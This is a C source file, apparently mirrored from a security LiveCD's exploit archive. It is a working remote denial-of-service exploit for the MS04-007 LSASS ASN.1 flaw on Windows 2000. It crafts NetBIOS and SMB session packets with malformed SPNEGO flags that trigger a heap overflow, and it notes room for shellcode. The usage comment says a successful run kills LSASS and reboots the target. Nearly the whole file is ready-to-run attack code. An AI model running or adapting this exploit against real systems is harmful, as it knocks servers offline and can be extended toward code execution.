home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / remote / MS04-007-dos.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  9KB  |  326 lines

  1. /*
  2.  *  MS04-007 LSASS.EXE Win2k Pro Remote Denial-of-Service Exploit
  3.  *
  4.  *  Copyright (C) 2004  Christophe Devine
  5.  *
  6.  *  This program is free software; you can redistribute it and/or modify
  7.  *  it under the terms of the GNU General Public License as published by
  8.  *  the Free Software Foundation; either version 2 of the License, or
  9.  *  (at your option) any later version.
  10.  *
  11.  *  This program is distributed in the hope that it will be useful,
  12.  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
  13.  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  14.  *  GNU General Public License for more details.
  15.  *
  16.  *  You should have received a copy of the GNU General Public License
  17.  *  along with this program; if not, write to the Free Software
  18.  *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  19.  */
  20.  
  21.  /*
  22.   *   > MS04-007-dos.exe 10.0.0.1 445
  23.   *   connect failed
  24.   *
  25.   *   > nbtstat -A 10.0.0.1
  26.   *   [..]
  27.   *       SERVER3        <20>  UNIQUE      Registered
  28.   *   [..]
  29.   *   > MS04-007-dos.exe 10.0.0.1 139 SERVER3
  30.   *   > MS04-007-dos.exe 10.0.0.1 139 SERVER3
  31.   *   >
  32.   *
  33.   *   if the exploit works, LSASS gets killed,
  34.   *   and after 1mn the server reboots.
  35.   *  
  36.   */
  37.  
  38. //#define WIN32
  39.  
  40. #ifdef WIN32
  41.  
  42. #include <winsock2.h>
  43. #include <windows.h>
  44.  
  45. #else
  46.  
  47. #include <sys/types.h>
  48. #include <sys/socket.h>
  49. #include <netinet/in.h>
  50. #include <netdb.h>
  51.  
  52. #endif
  53.  
  54. #include <stdio.h>
  55.  
  56. /****************************************************************/
  57.  
  58. unsigned char netbios_sess_req[] =
  59.  
  60. /* NetBIOS Session Request */
  61.  
  62. "\x81\x00\x00\x44"
  63.  
  64. "\x20\x45\x45\x45\x46\x45\x47\x45\x42\x46\x46\x45\x4D\x46\x45\x43"
  65. "\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43"
  66. "\x41\x00"
  67.  
  68. "\x20\x45\x45\x45\x46\x45\x47\x45\x42\x46\x46\x45\x4D\x46\x45\x43"
  69. "\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x41"
  70. "\x41\x00";
  71.  
  72. /****************************************************************/
  73.  
  74. unsigned char negotiate_req[] =
  75.  
  76. /* NetBIOS Message Type + Length & SMB Header */
  77.  
  78. "\x00\x00\x00\xB3"
  79.  
  80. "\xFF\x53\x4D\x42\x72\x00\x00\x00\x00\x08\x01\xC8\x00\x00\x00\x00"
  81. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x75\x03\x00\x00\x02\x00"
  82.  
  83. /* Negotiate Protocol Request, actually sniffed from smbclient */
  84.  
  85. "\x00\x90\x00\x02\x50\x43\x20\x4E\x45\x54\x57\x4F\x52\x4B\x20\x50"
  86. "\x52\x4F\x47\x52\x41\x4D\x20\x31\x2E\x30\x00\x02\x4D\x49\x43\x52"
  87. "\x4F\x53\x4F\x46\x54\x20\x4E\x45\x54\x57\x4F\x52\x4B\x53\x20\x31"
  88. "\x2E\x30\x33\x00\x02\x4D\x49\x43\x52\x4F\x53\x4F\x46\x54\x20\x4E"
  89. "\x45\x54\x57\x4F\x52\x4B\x53\x20\x33\x2E\x30\x00\x02\x4C\x41\x4E"
  90. "\x4D\x41\x4E\x31\x2E\x30\x00\x02\x4C\x4D\x31\x2E\x32\x58\x30\x30"
  91. "\x32\x00\x02\x44\x4F\x53\x20\x4C\x41\x4E\x4D\x41\x4E\x32\x2E\x31"
  92. "\x00\x02\x53\x61\x6D\x62\x61\x00\x02\x4E\x54\x20\x4C\x41\x4E\x4D"
  93. "\x41\x4E\x20\x31\x2E\x30\x00\x02\x4E\x54\x20\x4C\x4D\x20\x30\x2E"
  94. "\x31\x32\x00";
  95.  
  96. /****************************************************************/
  97.  
  98. unsigned char setup_request[] =
  99.  
  100. /* NetBIOS Message Type + Length & SMB Header */
  101.  
  102. "\x00\x00\xCC\xCC"
  103.  
  104. "\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x08\x01\xC8\x00\x00\x00\x00"
  105. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x75\x03\x00\x00\x03\x00"
  106.  
  107. /* Session Setup AndX Request */
  108.  
  109. "\x0C\xFF\x00\x00\x00\xFF\xFF\x02\x00\x01\x00\x00\x00\x00\x00\xCC"
  110. "\xCC\x00\x00\x00\x00\x5C\x00\x00\x80\xCC\xCC";
  111.  
  112. /* Security Blob: SPNEGO OID + ASN.1 stuff */
  113.  
  114. unsigned char security_blob[] =
  115.  
  116. /* Application Constructed Object + SPNEGO OID */
  117.  
  118. "\x60\x82\xCC\xCC\x06\x06\x2B\x06\x01\x05\x05\x02"
  119.  
  120. /* negTokenInit + Constructed Sequence */
  121.  
  122. "\xA0\x82\xCC\xCC\x30\x82\xCC\xCC"
  123.  
  124. /* mechType: NTLMSSP OID */
  125.  
  126. "\xA0\x0E\x30\x0C\x06\x0A\x2B\x06\x01\x04\x01\x82\x37\x02\x02\x0A"
  127.  
  128. /* reqFlags that should trigger the overflow */
  129.  
  130. "\xA1\x05\x23\x03\x03\x01\x07"
  131.  
  132. /* mechToken: NTLMSSP (room for shellcode here) */
  133.  
  134. "\xA2\x82\xCC\xCC\x04\x82\xCC\xCC"
  135.  
  136. "\x4E\x54\x4C\x4D\x53\x53\x50\x00\x01\x00\x00\x00\x15\x02\x08\x60"
  137. "\x09\x00\x09\x00\x20\x00\x00\x00\x07\x00\x07\x00\x29\x00\x00\x00"
  138. "\x57\x4F\x52\x4B\x47\x52\x4F\x55\x50\x44\x45\x46\x41\x55\x4C\x54";
  139.  
  140. /* Native OS & LAN Manager */
  141.  
  142. unsigned char other_stuff[] =
  143.  
  144. "\x00\x55\x00\x6E\x00\x69\x00\x78\x00\x00\x00\x53\x00\x61\x00\x6D"
  145. "\x00\x62\x00\x61\x00\x00\x00";
  146.  
  147. /****************************************************************/
  148.  
  149. int main( int argc, char *argv[] )
  150. {
  151.     unsigned char buf[4096];
  152.     struct hostent *server_host;
  153.     struct sockaddr_in server_addr;
  154.     int i, len, server_fd, n1, n2, n3;
  155.  
  156. #ifdef WIN32
  157.  
  158.     WSADATA wsa;
  159.  
  160.     /* initialize windows sockets */
  161.  
  162.     if( WSAStartup( MAKEWORD(2,0), &wsa ) )
  163.     {
  164.         fprintf( stderr, "WSAStartup failed\n" );
  165.         return( 1 );
  166.     }
  167.  
  168. #endif
  169.  
  170.     if( argc != 3 && argc != 4 )
  171.     {
  172.         fprintf( stderr, "usage: %s <target hostname> "
  173.                          "<port> [netbios name]\n",
  174.                  argv[0] );
  175.  
  176.         return( 1 );
  177.     }
  178.  
  179.     /* resolve the server hostname and connect */
  180.  
  181.     server_host = gethostbyname( argv[1] );
  182.  
  183.     if( server_host == NULL )
  184.     {
  185.         fprintf( stderr, "gethostbyname(%s) failed\n", argv[1] );
  186.         return( 1 );
  187.     }
  188.  
  189.     memcpy( (void *) &server_addr.sin_addr,
  190.             (void *) server_host->h_addr,
  191.             server_host->h_length );
  192.  
  193.     sscanf( argv[2], "%d", &i );
  194.  
  195.     server_addr.sin_family = AF_INET;
  196.     server_addr.sin_port   = htons( (unsigned short) i );
  197.  
  198.     server_fd = socket( AF_INET, SOCK_STREAM, IPPROTO_IP );
  199.  
  200.     if( server_fd < 0 )
  201.     {
  202.         fprintf( stderr, "could not create socket\n" );
  203.         return( 1 );
  204.     }
  205.  
  206.     len = sizeof( server_addr );
  207.  
  208.     if( connect( server_fd, (struct sockaddr *)
  209.                  &server_addr, len ) < 0 )
  210.     {
  211.         fprintf( stderr, "connect failed\n" );
  212.         return( 1 );
  213.     }
  214.  
  215.     if( argc == 4 )
  216.     {
  217.         /* encode the Called NetBIOS Name */
  218.  
  219.         len = sizeof( netbios_sess_req ) - 1;
  220.         memcpy( buf, netbios_sess_req, len );
  221.         memset( buf + 5, 'A', 32 );
  222.  
  223.         for( i = 0; i < (int) strlen( argv[3] ); i++ )
  224.         {
  225.             buf[5 + i * 2] += argv[3][i] >> 4;
  226.             buf[6 + i * 2] += argv[3][i] & 15;
  227.         }
  228.  
  229.         for( ; i < 16; i++ )
  230.         {
  231.             buf[5 + i * 2] += 0x20 >> 4;
  232.             buf[6 + i * 2] += 0x20 & 15;
  233.         }
  234.  
  235.         /* 1. NetBIOS Session Request */
  236.  
  237.         if( send( server_fd, buf, len, 0 ) != len )
  238.         {
  239.             fprintf( stderr, "send(NetBIOS Session Request) failed\n" );
  240.             return( 1 );
  241.         }
  242.  
  243.         if( recv( server_fd, buf, sizeof( buf ), 0 ) <= 0 )
  244.         {
  245.             fprintf( stderr, "recv(NetBIOS Session Response) failed\n" );
  246.             return( 1 );
  247.         }
  248.  
  249.         if( buf[0] == 0x83 )
  250.         {
  251.             fprintf( stderr, "NetBIOS Session rejected "
  252.                              "(wrong NetBIOS name ?)\n" );
  253.             return( 1 );
  254.         }
  255.     }
  256.  
  257.     /* 2. Negotiate Protocol Request */
  258.  
  259.     len = sizeof( negotiate_req ) - 1;
  260.  
  261.     if( send( server_fd, negotiate_req, len, 0 ) != len )
  262.     {
  263.         fprintf( stderr, "send(Negotiate Protocol Request) failed\n" );
  264.         return( 1 );
  265.     }
  266.  
  267.     if( recv( server_fd, buf, sizeof( buf ), 0 ) <= 0 )
  268.     {
  269.         fprintf( stderr, "recv(Negotiate Protocol Response) failed\n" );
  270.         return( 1 );
  271.     }
  272.  
  273.     /* 3. Session Setup AndX Request */
  274.  
  275.     memset( buf, 'A', sizeof( buf ) );
  276.  
  277.     n1 = sizeof( setup_request ) - 1;
  278.     n2 = sizeof( security_blob ) - 1;
  279.     n3 = sizeof( other_stuff   ) - 1;
  280.  
  281.     memcpy( buf,           setup_request, n1 );
  282.     memcpy( buf + n1,      security_blob, n2 );
  283.  
  284.     n2 += 2000; /* heap padding for shellcode */
  285.  
  286.     memcpy( buf + n1 + n2, other_stuff,   n3 );
  287.  
  288.     len = n1 + n2 + n3;
  289.  
  290.     buf[ 2] = ( ( len - 4 ) >> 8 ) & 0xFF;      /* NetBIOS msg length   */
  291.     buf[ 3] = ( ( len - 4 )      ) & 0xFF;
  292.  
  293.     buf[51] = ( n2      ) & 0xFF;               /* Security Blob Length */
  294.     buf[52] = ( n2 >> 8 ) & 0xFF;
  295.  
  296.     buf[61] = ( ( n2 + n3 )      ) & 0xFF;      /* Byte Count (BCC)     */
  297.     buf[62] = ( ( n2 + n3 ) >> 8 ) & 0xFF;
  298.  
  299.     buf[n1 +  2] = ( ( n2 -  4 ) >> 8 ) & 0xFF; /* ACO Length           */
  300.     buf[n1 +  3] = ( ( n2 -  4 )      ) & 0xFF;
  301.  
  302.     buf[n1 + 14] = ( ( n2 - 16 ) >> 8 ) & 0xFF; /* negTokenInit Length  */
  303.     buf[n1 + 15] = ( ( n2 - 16 )      ) & 0xFF;
  304.  
  305.     buf[n1 + 18] = ( ( n2 - 20 ) >> 8 ) & 0xFF; /* Constr. Seq. Length  */
  306.     buf[n1 + 19] = ( ( n2 - 20 )      ) & 0xFF;
  307.  
  308.     buf[n1 + 45] = ( ( n2 - 47 ) >> 8 ) & 0xFF; /* mechToken Length     */
  309.     buf[n1 + 46] = ( ( n2 - 47 )      ) & 0xFF;
  310.  
  311.     buf[n1 + 49] = ( ( n2 - 51 ) >> 8 ) & 0xFF; /* String Length        */
  312.     buf[n1 + 50] = ( ( n2 - 51 )      ) & 0xFF;
  313.  
  314.     if( send( server_fd, buf, len, 0 ) != len )
  315.     {
  316.         fprintf( stderr, "send(Session Setup AndX Request) failed\n" );
  317.         return( 1 );
  318.     }
  319.  
  320.     recv( server_fd, buf, sizeof( buf ), 0 );
  321.  
  322.     shutdown( server_fd, 2 );
  323.  
  324.     return( 0 );
  325. }
  326.